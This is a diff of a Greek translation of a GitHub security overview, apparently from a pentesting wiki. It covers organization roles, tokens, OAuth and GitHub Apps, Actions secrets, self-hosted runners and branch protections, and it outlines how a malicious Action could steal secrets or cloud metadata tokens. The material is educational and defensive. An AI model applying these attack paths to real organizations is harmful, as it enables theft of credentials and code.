ακόλουθες άδειες των μελών της οργάνωσης: -- Να είναι admin, writer, reader ή χωρίς δικαιώματα σε όλα τα repositories της organization. +- Να είναι admin, writer, reader ή να μην έχουν καμία άδεια σε όλα τα organisation repos. - Αν τα μέλη μπορούν να δημιουργούν private, internal ή public repositories. -- Αν είναι δυνατή η δημιουργία fork των repositories. +- Αν είναι δυνατό το forking των repositories. - Αν είναι δυνατό να προσκαλούνται outside collaborators. - Αν μπορούν να δημοσιευτούν public ή private sites. -- Τα δικαιώματα που έχουν οι admins πάνω στα repositories. +- Τις άδειες που έχουν οι admins πάνω στα repositories. - Αν τα μέλη μπορούν να δημιουργούν νέες teams. -### Repository Roles +### Ρόλοι Repository -Κατ' προεπιλογή δημιουργούνται οι παρακάτω repository roles: +Από προεπιλογή δημιουργούνται οι εξής repository roles: -- **Read**: Συνιστάται για **μη-κωδικούς contributors** που θέλουν να δουν ή να συζητήσουν το project σας -- **Triage**: Συνιστάται για **contributors που χρειάζεται να διαχειρίζονται ενεργά issues και pull requests** χωρίς δικαίωμα εγγραφής -- **Write**: Συνιστάται για contributors που **ενεργά push-άρουν στο project σας** -- **Maintain**: Συνιστάται για **project managers που χρειάζεται να διαχειρίζονται το repository** χωρίς πρόσβαση σε ευαίσθητες ή καταστροφικές ενέργειες -- **Admin**: Συνιστάται για άτομα που χρειάζονται **πλήρη πρόσβαση στο project**, συμπεριλαμβανομένων ευαίσθητων και καταστροφικών ενεργειών όπως η διαχείριση security ή η διαγραφή repository +- **Read**: Συνιστάται για **non-code contributors** που θέλουν να βλέπουν ή να σχολιάζουν το project σας +- **Triage**: Συνιστάται για **contributors who need to proactively manage issues and pull requests** χωρίς write access +- **Write**: Συνιστάται για contributors που **actively push to your project** +- **Maintain**: Συνιστάται για **project managers who need to manage the repository** χωρίς πρόσβαση σε ευαίσθητες ή καταστροφικές ενέργειες +- **Admin**: Συνιστάται για άτομα που χρειάζονται **full access to the project**, συμπεριλαμβανομένων ευαίσθητων και καταστροφικών ενεργειών όπως το manage security ή το delete a repository -Μπορείτε να **συγκρίνετε τα permissions** κάθε ρόλου σε αυτόν τον πίνακα [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) +Μπορείτε να **compare the permissions** κάθε ρόλου σε αυτόν τον πίνακα [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -Μπορείτε επίσης να **δημιουργήσετε δικούς σας ρόλους** στο _https://github.com/organizations/\/settings/roles_ +Μπορείτε επίσης να **create your own roles** στο _https://github.com/organizations/\/settings/roles_ ### Teams -Μπορείτε να **απαριθμήσετε τις teams που έχουν δημιουργηθεί σε μια organization** στο _https://github.com/orgs/\/teams_. Σημειώστε ότι για να δείτε τις teams που είναι children άλλων teams χρειάζεται να έχετε πρόσβαση σε κάθε parent team. +Μπορείτε να **list the teams created in an organization** στο _https://github.com/orgs/\/teams_. Σημειώστε ότι για να δείτε τις teams που είναι children άλλων teams πρέπει να έχετε πρόσβαση σε κάθε parent team. ### Users -Οι users μιας organization μπορούν να **απαριθμηθούν** στο _https://github.com/orgs/\/people._ +Οι χρήστες μιας οργάνωσης μπορούν να **listed** στο _https://github.com/orgs/\/people._ -Στις πληροφορίες κάθε user μπορείτε να δείτε τις **teams που ο χρήστης είναι μέλος** και τα **repos στα οποία ο χρήστης έχει πρόσβαση**. +Στις πληροφορίες κάθε χρήστη μπορείτε να δείτε τις **teams the user is member of**, και τα **repos the user has access to**. ## Github Authentication -Το Github προσφέρει διαφορετικούς τρόπους για να αυθεντικοποιηθείτε στον λογαριασμό σας και να εκτελέσετε ενέργειες εκ μέρους σας. +Το Github προσφέρει διαφορετικούς τρόπους για να πιστοποιηθείτε στον λογαριασμό σας και να εκτελέσετε ενέργειες εξ ονόματός σας. ### Web Access -Συνδεόμενοι στο **github.com** μπορείτε να κάνετε login χρησιμοποιώντας το **username και password** σας (και πιθανώς **2FA**). +Συνδεόμενοι στο **github.com** μπορείτε να κάνετε login χρησιμοποιώντας το **username and password** (και πιθανώς **2FA**). ### **SSH Keys** -Μπορείτε να ρυθμίσετε τον λογαριασμό σας με ένα ή περισσότερα public keys επιτρέποντας στο αντίστοιχο **private key να εκτελεί ενέργειες εκ μέρους σας.** [https://github.com/settings/keys](https://github.com/settings/keys) +Μπορείτε να ρυθμίσετε τον λογαριασμό σας με ένα ή περισσότερα public keys επιτρέποντας στο σχετικό **private key να εκτελεί ενέργειες εξ ονόματός σας.** [https://github.com/settings/keys](https://github.com/settings/keys) #### **GPG Keys** -Δεν μπορείτε να **παραποιήσετε** τον χρήστη με αυτά τα keys, αλλά αν δεν τα χρησιμοποιείτε μπορεί να είναι πιθανό να **ανακαλυφθείτε για αποστολή commits χωρίς signature**. Μάθετε περισσότερα για το [vigilant mode εδώ](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +Δεν μπορείτε να impersonate τον χρήστη με αυτά τα keys, αλλά αν δεν τα χρησιμοποιείτε μπορεί να είναι πιθανό να **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). ### **Personal Access Tokens** -Μπορείτε να δημιουργήσετε personal access token για να **δώσετε σε μια εφαρμογή πρόσβαση στον λογαριασμό σας**. Κατά τη δημιουργία ενός personal access token ο **user** πρέπει να **προσδιορίσει** τα **permissions** που θα έχει το **token**. [https://github.com/settings/tokens](https://github.com/settings/tokens) +Μπορείτε να δημιουργήσετε personal access token για να **give an application access to your account**. Όταν δημιουργείται ένα personal access token ο **user** πρέπει να **specify** τα **permissions** που το **token** θα έχει. [https://github.com/settings/tokens](https://github.com/settings/tokens) ### Oauth Applications -Οι Oauth applications μπορεί να σας ζητήσουν permissions **για να έχουν πρόσβαση σε μέρος των πληροφοριών σας στο github ή να σας impersonate** για να εκτελέσουν κάποιες ενέργειες. Ένα κοινό παράδειγμα αυτής της λειτουργικότητας είναι το **login with github button** που μπορεί να βρείτε σε κάποιες πλατφόρμες. +Οι Oauth applications μπορεί να σας ζητήσουν άδειες **to access part of your github information or to impersonate you** για να εκτελέσουν κάποιες ενέργειες. Ένα κοινό παράδειγμα αυτής της λειτουργίας είναι το **login with github button** που μπορεί να βρείτε σε κάποιες πλατφόρμες. -- Μπορείτε να **δημιουργήσετε** τις δικές σας **Oauth applications** στο [https://github.com/settings/developers](https://github.com/settings/developers) -- Μπορείτε να δείτε όλες τις **Oauth applications που έχουν πρόσβαση στον λογαριασμό σας** στο [https://github.com/settings/applications](https://github.com/settings/applications) -- Μπορείτε να δείτε τα **scopes που Oauth Apps μπορούν να ζητήσουν** στο [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- Μπορείτε να δείτε τρίτες πρόσβασης εφαρμογών σε μια **organization** στο _https://github.com/organizations/\/settings/oauth_application_policy_ +- Μπορείτε να **create** τις δικές σας **Oauth applications** στο [https://github.com/settings/developers](https://github.com/settings/developers) +- Μπορείτε να δείτε όλες τις **Oauth applications that has access to your account** στο [https://github.com/settings/applications](https://github.com/settings/applications) +- Μπορείτε να δείτε τα **scopes that Oauth Apps can ask for** στο [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) +- Μπορείτε να δείτε third party access των applications σε μια **organization** στο _https://github.com/organizations/\/settings/oauth_application_policy_ -Κάποιες **συστάσεις ασφαλείας**: +Κάποιες **συστάσεις ασφάλειας**: -- Μια **OAuth App** πρέπει πάντα να **λειτουργεί ως ο αυθεντικοποιημένος χρήστης του GitHub σε όλο το GitHub** (π.χ., όταν παρέχει ειδοποιήσεις χρήστη) και με πρόσβαση μόνο στα καθορισμένα scopes. -- Μια OAuth App μπορεί να χρησιμοποιηθεί ως identity provider ενεργοποιώντας ένα "Login with GitHub" για τον αυθεντικοποιημένο χρήστη. -- **Μη** δημιουργείτε μια **OAuth App** αν θέλετε η εφαρμογή σας να δράσει σε **ένα μόνο repository**. Με το scope `repo`, οι OAuth Apps μπορούν να **δράσουν σε _όλα_ τα repositories** του αυθεντικοποιημένου χρήστη. -- **Μη** δημιουργείτε μια OAuth App για να δρα ως εφαρμογή για την **ομάδα ή την εταιρεία** σας. Οι OAuth Apps αυθεντικοποιούνται ως **ένας μοναδικός χρήστης**, οπότε αν ένα άτομο δημιουργήσει μια OAuth App για χρήση από την εταιρεία και μετά φύγει, κανείς άλλος δεν θα έχει πρόσβαση σε αυτήν. -- **Περισσότερα** στο [εδώ](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes.. +- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user. +- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s. +- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it. +- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). ### Github Applications -Οι Github applications μπορούν να ζητήσουν permissions να **έχουν πρόσβαση στις πληροφορίες σας στο github ή να σας impersonate** για να εκτελέσουν συγκεκριμένες ενέργειες σε συγκεκριμένους πόρους. Στις Github Apps πρέπει να καθορίσετε τα repositories στα οποία η εφαρμογή θα έχει πρόσβαση. +Οι Github applications μπορούν να ζητήσουν άδειες για **access your github information or impersonate you** ώστε να εκτελέσουν συγκεκριμένες ενέργειες σε συγκεκριμένους πόρους. Στα Github Apps πρέπει να καθορίσετε τα repositories στα οποία η εφαρμογή θα έχει πρόσβαση. -- Για να εγκαταστήσετε ένα GitHub App, πρέπει να είστε **organisation owner ή να έχετε admin permissions** σε ένα repository. -- Το GitHub App θα πρέπει να **συνδεθεί σε έναν προσωπικό λογαριασμό ή σε μια organization**. -- Μπορείτε να δημιουργήσετε τη δική σας Github application στο [https://github.com/settings/apps](https://github.com/settings/apps) -- Μπορείτε να δείτε όλες τις **Github applications που έχουν πρόσβαση στον λογαριασμό σας** στο [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- Αυτά είναι τα **API Endpoints για Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Ανάλογα με τα permissions της App θα μπορεί να έχει πρόσβαση σε κάποια από αυτά. -- Μπορείτε να δείτε εγκατεστημένες apps σε μια **organization** στο _https://github.com/organizations/\/settings/installations_ +- Για να εγκαταστήσετε ένα GitHub App, πρέπει να είστε **organisation owner or have admin permissions** σε ένα repository. +- Το GitHub App πρέπει να **connect to a personal account or an organisation**. +- Μπορείτε να δημιουργήσετε την δική σας Github application στο [https://github.com/settings/apps](https://github.com/settings/apps) +- Μπορείτε να δείτε όλες τις **Github applications that has access to your account** στο [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) +- Αυτά είναι τα **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Ανάλογα με τα permissions του App θα έχει πρόσβαση σε κάποιο από αυτά. +- Μπορείτε να δείτε εγκατεστημένες εφαρμογές σε μια **organization** στο _https://github.com/organizations/\/settings/installations_ -Κάποιες συστάσεις ασφαλείας: +Κάποιες συστάσεις ασφάλειας: -- Μια GitHub App πρέπει να **εκτελεί ενέργειες ανεξάρτητα από έναν χρήστη** (εκτός αν η εφαρμογή χρησιμοποιεί ένα [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Για να διατηρήσετε πιο ασφαλή τα user-to-server access tokens, μπορείτε να χρησιμοποιήσετε access tokens που λήγουν μετά από 8 ώρες, και ένα refresh token που μπορεί να ανταλλαχθεί για νέο access token. Για περισσότερες πληροφορίες, δείτε "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Βεβαιωθείτε ότι το GitHub App ενσωματώνεται με **συγκεκριμένα repositories**. -- Το GitHub App θα πρέπει να **συνδεθεί σε έναν προσωπικό λογαριασμό ή σε μια organization**. -- Μην περιμένετε ότι το GitHub App γνωρίζει και κάνει τα πάντα που μπορεί να κάνει ένας χρήστης. -- **Μη** χρησιμοποιείτε ένα GitHub App αν απλώς χρειάζεστε μια υπηρεσία "Login with GitHub". Αλλά ένα GitHub App μπορεί να χρησιμοποιήσει μια [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) για να συνδεθεί χρήστες _και_ να κάνει άλλα πράγματα. -- Μην δημιουργείτε ένα GitHub App αν _μόνο_ θέλετε να ενεργείτε ως ένας GitHub user και να κάνετε ό,τι μπορεί να κάνει αυτός ο χρήστης. -- Εάν χρησιμοποιείτε την εφαρμογή σας με GitHub Actions και θέλετε να τροποποιήσετε workflow αρχεία, πρέπει να αυθεντικοποιηθείτε εκ μέρους του χρήστη με ένα OAuth token που περιλαμβάνει το scope `workflow`. Ο χρήστης πρέπει να έχει admin ή write permission στο repository που περιέχει το workflow αρχείο. Για περισσότερες πληροφορίες, δείτε "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **Περισσότερα** στο [εδώ](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- A GitHub App should **take actions independent of a user** (εκτός αν η εφαρμογή χρησιμοποιεί ένα [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Για να διατηρηθούν τα user-to-server access tokens πιο ασφαλή, μπορείτε να χρησιμοποιήσετε access tokens που θα λήγουν μετά από 8 ώρες, και ένα refresh token που μπορεί να ανταλλαγεί για νέο access token. Για περισσότερες πληροφορίες, δείτε "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- Βεβαιωθείτε ότι το GitHub App ενσωματώνεται με **specific repositories**. +- Το GitHub App πρέπει να **connect to a personal account or an organisation**. +- Μην περιμένετε ότι το GitHub App γνωρίζει και μπορεί να κάνει τα πάντα που μπορεί ένας χρήστης. +- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things. +- Μην δημιουργήσετε ένα GitHub App εάν θέλετε να ενεργείτε _only_ ως ένας GitHub user και να κάνετε τα πάντα που ο χρήστης μπορεί να κάνει. +- Αν χρησιμοποιείτε την εφαρμογή σας με GitHub Actions και θέλετε να τροποποιήσετε workflow files, πρέπει να πιστοποιηθείτε εξ ονόματος του χρήστη με ένα OAuth token που περιλαμβάνει το `workflow` scope. Ο χρήστης πρέπει να έχει admin ή write permission στο repository που περιέχει το workflow file. Για περισσότερες πληροφορίες, δείτε "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -Αυτό **δεν είναι τρόπος για authentication στο github**, αλλά μια **κακόβουλη** Github Action θα μπορούσε να αποκτήσει **μη εξουσιοδοτημένη πρόσβαση στο github** και **ανάλογα** με τα **privileges** που δίνονται στην Action διάφορες **επιθέσεις** μπορούν να γίνουν. Δείτε παρακάτω για περισσότερες πληροφορίες. +Αυτό **isn't a way to authenticate in github**, αλλά ένα **malicious** Github Action θα μπορούσε να αποκτήσει **unauthorised access to github** και **depending** στα **privileges** που έχουν δοθεί στο Action διάφορες **different attacks** μπορούν να πραγματοποιηθούν. Δείτε παρακάτω για περισσότερες πληροφορίες. ## Git Actions -Το Git actions επιτρέπει την αυτοματοποίηση της **εκτέλεσης κώδικα όταν συμβαίνει ένα event**. Συνήθως ο κώδικας που εκτελείται είναι **κάπως σχετικός με τον κώδικα του repository** (π.χ. να δημιουργήσει ένα docker container ή να ελέγξει ότι το PR δεν περιέχει secrets). +Οι Git actions επιτρέπουν την αυτοματοποίηση της **execution of code when an event happen**. Συνήθως ο κώδικας που εκτελείται είναι **somehow related to the code of the repository** (π.χ. να build ένα docker container ή να ελέγξει ότι το PR δεν περιέχει secrets). ### Configuration -Στο _https://github.com/organizations/\/settings/actions_ είναι δυνατό να ελέγξετε τη **διαμόρφωση των github actions** για την organization. +Στο _https://github.com/organizations/\/settings/actions_ είναι δυνατό να ελέγξετε την **configuration of the github actions** για την οργάνωση. -Είναι δυνατό να απαγορεύσετε τη χρήση των github actions εντελώς, να **επιτρέψετε όλες τις github actions**, ή να επιτρέψετε μόνο ορισμένες actions. +Είναι δυνατό να απαγορευτεί η χρήση των github actions εντελώς, να **allow all github actions**, ή να επιτρέπονται μόνο ορισμένα actions. -Είναι επίσης δυνατό να διαμορφώσετε **ποιος χρειάζεται έγκριση για να τρέξει μια Github Action** και τα **permissions του GITHUB_TOKEN** μιας Github Action όταν εκτελείται. +Επίσης είναι δυνατό να διαμορφώσετε **who needs approval to run a Github Action** και τα **permissions of the GITHUB_TOKEN** ενός Github Action όταν εκτελείται. ### Git Secrets -Οι Github Action συνήθως χρειάζονται κάποια μορφή secrets για να αλληλεπιδράσουν με το github ή τρίτες εφαρμογές. Για να **αποφύγετε την αποθήκευσή τους σε clear-text** στο repo, το github επιτρέπει να τα αποθηκεύετε ως **Secrets**. +Τα Github Action συνήθως χρειάζονται κάποιο είδος secrets για να αλληλεπιδράσουν με το github ή third party applications. Για να **avoid putting them in clear-text** στο repo, το github επιτρέπει να τα αποθηκεύετε ως **Secrets**. -Αυτά τα secrets μπορούν να ρυθμιστούν **για το repo ή για ολόκληρη την organization**. Στη συνέχεια, για να μπορέσει η **Action να έχει πρόσβαση στο secret** πρέπει να το δηλώσετε έτσι: +Αυτά τα secrets μπορούν να ρυθμιστούν **for the repo or for all the organization**. Έπειτα, για να μπορεί το **Action να έχει πρόσβαση στο secret** πρέπει να το δηλώσετε όπως: ```yaml steps: - name: Hello world action @@ -168,92 +168,92 @@ run: | example-command "$SUPER_SECRET" ``` > [!WARNING] -> Secrets **μπορούν να προσπελαστούν μόνο από τα Github Actions** που τα έχουν δηλώσει. +> Secrets **can only be accessed from the Github Actions** που τα έχουν δηλωμένα. -> Μόλις ρυθμιστούν στο repo ή στον οργανισμό **οι χρήστες του github δεν θα μπορούν να τα προσπελάσουν ξανά**, θα μπορούν μόνο να **τα αλλάξουν**. +> Μόλις διαμορφωθούν στο repo ή στους οργανισμούς, **οι χρήστες του github δεν θα μπορούν να τα προσπελάσουν ξανά**, θα μπορούν μόνο να τα **αλλάξουν**. -Συνεπώς, **ο μόνος τρόπος για να κλέψεις τα github secrets είναι να έχεις πρόσβαση στη μηχανή που εκτελεί το Github Action** (σε αυτό το σενάριο θα μπορείς να προσπελάσεις μόνο τα secrets που έχουν δηλωθεί για το Action). +Επομένως, ο **μόνος τρόπος να κλέψεις github secrets είναι να έχεις πρόσβαση στη μηχανή που εκτελεί το Github Action** (σε αυτό το σενάριο θα μπορέσεις να προσπελάσεις μόνο τα secrets που έχουν δηλωθεί για το Action). ### Git Environments -Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like: +Το Github επιτρέπει τη δημιουργία **environments** όπου μπορείτε να αποθηκεύσετε **secrets**. Στη συνέχεια, μπορείτε να δώσετε στο github action πρόσβαση στα secrets μέσα στο environment με κάτι σαν: ```yaml jobs: deployment: runs-on: ubuntu-latest environment: env_name ``` -You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ -Additionally, environment protections include: -- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself. -- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets. -- **Wait timer**: delay deployments for a configurable period. +Μπορείτε να διαμορφώσετε ένα περιβάλλον ώστε να είναι **προσβάσιμο** από **όλους τους κλάδους** (προεπιλογή), **μόνο από προστατευμένους** κλάδους ή να **καθορίσετε** ποιοι κλάδοι μπορούν να έχουν πρόσβαση σε αυτό.\ +Επιπλέον, οι προστασίες περιβαλλόντων περιλαμβάνουν: +- **Απαιτούμενοι εγκριτές**: μπλοκάρουν τα gate jobs που στοχεύουν το περιβάλλον μέχρι να εγκριθούν. Ενεργοποιήστε το **Prevent self-review** για να εφαρμόσετε την αρχή των τεσσάρων ματιών και στην ίδια την έγκριση. +- **Κλάδοι και tags για ανάδυση (deployment branches and tags)**: περιορίστε ποιοι κλάδοι/ετικέτες μπορούν να κάνουν deployment στο περιβάλλον. Προτιμήστε να επιλέγετε συγκεκριμένους κλάδους/ετικέτες και βεβαιωθείτε ότι αυτοί οι κλάδοι είναι προστατευμένοι. Σημείωση: η επιλογή "Protected branches only" εφαρμόζεται στις κλασικές προστασίες κλάδων και μπορεί να μην συμπεριφέρεται όπως αναμένεται αν χρησιμοποιείτε rulesets. +- **Wait timer**: καθυστερεί τα deployments για μια παραμετροποιήσιμη περίοδο. -It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. +Μπορεί επίσης να οριστεί ένας **αριθμός απαιτούμενων εγκρίσεων** πριν την **εκτέλεση** μιας **ενέργειας** που χρησιμοποιεί ένα **περιβάλλον** ή να **αναμείνετε** κάποιο **χρόνο** πριν επιτραπούν τα deployments να προχωρήσουν. ### Git Action Runner -A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. +Μια Github Action μπορεί να **εκτελεστεί μέσα στο github environment** ή να εκτελεστεί σε **υποδομή τρίτου μέρους** που έχει ρυθμιστεί από τον χρήστη. -Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**. +Πολλές οργανώσεις επιτρέπουν την εκτέλεση Github Actions σε **υποδομή τρίτου μέρους** καθώς συνήθως είναι **φθηνότερο**. -You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +Μπορείτε να **περιγράψετε τους self-hosted runners** μιας οργάνωσης στο _https://github.com/organizations/\/settings/actions/runners_ -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. +Ο τρόπος να βρείτε ποιες **Github Actions εκτελούνται σε μη-github υποδομή** είναι να αναζητήσετε `runs-on: self-hosted` στο yaml της ρύθμισης της Github Action. -It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs. +Δεν είναι **δυνατό** να τρέξετε μια Github Action μιας οργάνωσης μέσα σε ένα self-hosted box άλλης οργάνωσης επειδή **παράγεται ένα μοναδικό token για τον Runner** όταν τον ρυθμίζετε, ώστε να γνωρίζει σε ποια οργάνωση ανήκει. -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. +Αν ο custom **Github Runner είναι ρυθμισμένος σε μηχάνημα μέσα σε AWS ή GCP** για παράδειγμα, η Action **μπορεί να έχει πρόσβαση στο metadata endpoint** και να **κλέψει το token του service account** με το οποίο τρέχει η μηχανή. ### Git Action Compromise -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. +Αν όλες οι actions (ή μια κακόβουλη action) επιτρέπονται, ένας χρήστης θα μπορούσε να χρησιμοποιήσει μια **κακόβουλη Github Action** που θα **παραβιάσει** το **container** όπου εκτελείται. > [!CAUTION] -> A **malicious Github Action** run could be **abused** by the attacker to: +> Μια **κακόβουλη Github Action** θα μπορούσε να **κακοποιηθεί** από τον επιτιθέμενο για να: > -> - **Steal all the secrets** the Action has access to -> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service) -> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**. +> - **Κλέψει όλα τα secrets** στα οποία η Action έχει πρόσβαση +> - **Κινήσει πλαγίως** (move laterally) αν η Action εκτελείται μέσα σε **υποδομή τρίτου μέρους** όπου το SA token που χρησιμοποιείται για τη μηχανή είναι προσβάσιμο (πιθανώς μέσω της υπηρεσίας metadata) +> - **Κακοποιήσει το token** που χρησιμοποιείται από το **workflow** για να **κλέψει τον κώδικα του repo** όπου η Action εκτελείται ή **ακόμη και να τον τροποποιήσει**. -## Branch Protections +## Προστασίες Κλάδων -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +Οι προστασίες κλάδων έχουν σχεδιαστεί για να **μην δίνουν πλήρη έλεγχο ενός repository** στους χρήστες. Ο στόχος είναι να **τοποθετηθούν πολλαπλές μεθόδοι προστασίας πριν κάποιος μπορέσει να γράψει κώδικα σε κάποιον κλάδο**. -The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_ +Οι **προστασίες κλάδων ενός repository** μπορούν να βρεθούν στο _https://github.com/\/\/settings/branches_ > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> Δεν είναι **δυνατό να οριστεί προστασία κλάδου σε επίπεδο οργάνωσης**. Έτσι όλες πρέπει να δηλωθούν σε κάθε repo. -Different protections can be applied to a branch (like to master): +Διαφορετικές προστασίες μπορούν να εφαρμοστούν σε έναν κλάδο (όπως π.χ. στον master): -- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: -- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. -- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. -- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge. -- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) -- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. -- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. -- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip"). -- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. -- **Require signed commits**. The commits need to be signed. -- **Require linear history.** Prevent merge commits from being pushed to matching branches. -- **Include administrators**. If this isn't set, admins can bypass the restrictions. -- **Restrict who can push to matching branches**. Restrict who can send a PR. +- Μπορείτε να **απαιτήσετε ένα PR πριν το merge** (ώστε να μην μπορείτε να συγχωνεύσετε απευθείας κώδικα στον κλάδο). Αν αυτό επιλεγεί, μπορούν να ισχύουν και άλλες προστασίες: +- **Απαιτήστε έναν αριθμό approvals**. Είναι πολύ συνηθισμένο να απαιτούνται 1 ή 2 ακόμα άτομα για να εγκρίνουν το PR ώστε ένας μόνο χρήστης να μην μπορεί να συγχωνεύει κώδικα απευθείας. +- **Απόρριψη εγκρίσεων όταν σπρώχνονται νέα commits** (Dismiss approvals when new commits are pushed). Αν δεν ενεργοποιηθεί, ένας χρήστης μπορεί να εγκρίνει νόμιμο κώδικα και μετά να προσθέσει κακόβουλο κώδικα και να τον συγχωνεύσει. +- **Απαιτήστε έγκριση του πιο πρόσφατου reviewable push**. Εξασφαλίζει ότι οποιαδήποτε νέα commits μετά από μια έγκριση (συμπεριλαμβανομένων push από άλλους συνεργάτες) επανεκκινούν την αναθεώρηση ώστε ένας επιτιθέμενος να μην μπορεί να κάνει push μεταγενέστερα της έγκρισης αλλαγές και να συγχωνεύσει. +- **Απαιτήστε reviews από Code Owners**. Τουλάχιστον 1 code owner του repo πρέπει να εγκρίνει το PR (ώστε "τυχαίοι" χρήστες να μην μπορούν να το εγκρίνουν). +- **Περιορίστε ποιος μπορεί να απορρίψει reviews pull request.** Μπορείτε να καθορίσετε άτομα ή teams που επιτρέπεται να απορρίπτουν reviews. +- **Επιτρέψτε σε καθορισμένους actors να παρακάμπτουν τις απαιτήσεις pull request.** Αυτοί οι χρήστες θα μπορούν να παρακάμπτουν τους προηγούμενους περιορισμούς. +- **Απαιτήστε να περάσουν status checks πριν το merge.** Ορισμένοι έλεγχοι πρέπει να περάσουν πριν συγχωνευτεί το commit (όπως μια GitHub App που αναφέρει αποτελέσματα SAST). Συμβουλή: δεσμεύστε τα απαιτούμενα checks σε μια συγκεκριμένη GitHub App· αλλιώς οποιαδήποτε app θα μπορούσε να παραποιήσει το check μέσω του Checks API, και πολλά bots αποδέχονται skip directives (π.χ., "@bot-name skip"). +- **Απαιτήστε επίλυση συνομιλιών πριν το merge.** Όλα τα σχόλια στον κώδικα πρέπει να επιλυθούν πριν το PR συγχωνευτεί. +- **Απαιτήστε signed commits.** Τα commits πρέπει να είναι υπογεγραμμένα. +- **Απαιτήστε linear 